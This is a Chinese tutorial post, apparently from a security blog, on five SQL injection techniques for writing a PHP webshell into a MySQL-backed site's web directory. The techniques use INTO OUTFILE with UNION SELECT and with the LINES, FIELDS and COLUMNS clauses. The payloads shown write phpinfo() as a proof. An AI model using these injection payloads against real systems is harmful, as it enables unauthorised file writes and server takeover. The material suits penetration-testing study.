• MySQL注入点写webshell的五种方式


    0x00 写数据的前提

    1,在mysql的配置文件 my.ini 中,secure_file_priv="c:/wamp64/tmp" 被注释 或者 `secure_file_priv 配置的位置是web目录。
    2,未开启全局gpc。(php5.329之后就没有magic_quotes_gpc)

    0x01 union select 写入

    最常见的写入方式,union select 后跟 into outfile 语句
    注入点语句
    ?id=1' union select 1,2,'<?php phphinfo();?>'into outfile 'E:\phpStudy\PHPTutorial\WWW\numm222.php'--+

    注入结果:

    PS: 在windows下,位置的分隔符为 /(斜杠)。
    这里into outfile 和 into dumpfile是有区别的
    outfile是将导出整张完整的表
    dumpfile是输出在一行上

    若我们想把一个 可执行2进制 文件用into outfile函数导出
    事实上 导出后 就会被破坏
     
    因为into outfile 函数 会 在行末端写入新行 更致命的 是会转义 换行符
    这样的话这个2进制可执行 文件 就会被破坏
     
    这时候我们用into dumpfile 就能导出 一个完整能执行的2进制 文件
    into dumpfile 函数不对任何列或行进行终止,也不执行任何转义处理

    0x02 lines terminated by 写入

    注入点语句
    ?id=1' into outfile 'E:\phpStudy\PHPTutorial\WWW\num.php' lines terminated by '<?php phpinfo() ?>'--+

    注入结果:

    注入原理:
    通过select语句查询的内容写入文件,也就是 1 into outfile 'C:/wamp64/www/work/webshell.php' 这样写的原因,然后利用 lines terminated by 语句拼接webshell的内容。lines terminated by 可以理解为 以每行终止的位置添加 xx 内容。

    0x03 lines starting by 写入

    注入点语句
    ?id=1' into outfile 'E:\phpStudy\PHPTutorial\WWW\numm.php' lines starting by '<?php phpinfo() ?>'--+

    注入结果:

    注入原理:
    利用 lines starting by 语句拼接webshell的内容。lines starting by 可以理解为 以每行开始的位置添加 xx 内容。

    0x04 fields terminated by 写入

    注入点语句
    ?id=1' into outfile 'E:\phpStudy\PHPTutorial\WWW\numm2.php' fields terminated by '<?php phpinfo() ?>'--+

    注入结果:

    注入原理:
    利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。

    0x05 COLUMNS terminated by 写入

    注入点语句
    ?id=1' into outfile 'E:\phpStudy\PHPTutorial\WWW\numm22.php' COLUMNS terminated by '<?php phpinfo() ?>'--+

    注入结果:

    注入原理:
    利用 COLUMNS terminated by 语句拼接webshell的内容。COLUMNS terminated by可以理解为以每个字段的位置添加 xx 内容

  • 相关阅读:
    Postman:Pre-request Script
    PHP修改脚本最大执行时间和最大内存限制
    PHP函数:array_chunk
    PHP出现SSL certificate:unable to get local issuer certificate的解决办法
    Linux命令:chown
    PHP函数:fopen
    PHP常量:JSON_UNESCAPED_UNICODE
    Android -- 贝塞尔曲线公式的推导和简单使用
    Java -- 浅入Java反射机制
    Java -- 深入浅出GC自动回收机制
  • 原文地址:https://www.cnblogs.com/zzjdbk/p/12992288.html
Copyright © 2020-2023  润新知